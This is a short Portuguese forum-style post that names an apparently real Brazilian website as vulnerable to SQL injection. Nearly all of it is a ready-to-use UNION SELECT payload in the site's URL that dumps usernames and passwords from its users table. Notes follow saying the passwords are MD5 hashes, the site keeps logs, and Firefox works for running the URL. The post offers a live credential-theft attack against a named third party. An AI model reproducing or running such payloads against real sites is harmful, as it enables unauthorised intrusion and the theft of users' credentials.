Site vulnerável a SQL injection

[johnny_sys]

http://www.espacosaolourenco.com.br/pagina.php?url=fotos&id=0 union all select 1,2,concat(usuario,0x3a,senha),4 from usuarios --

OBS.:
Senhas em md5.
O site registra logs.
Utilizar o firefox para executar o comando da URL.
Não seja um Lammer.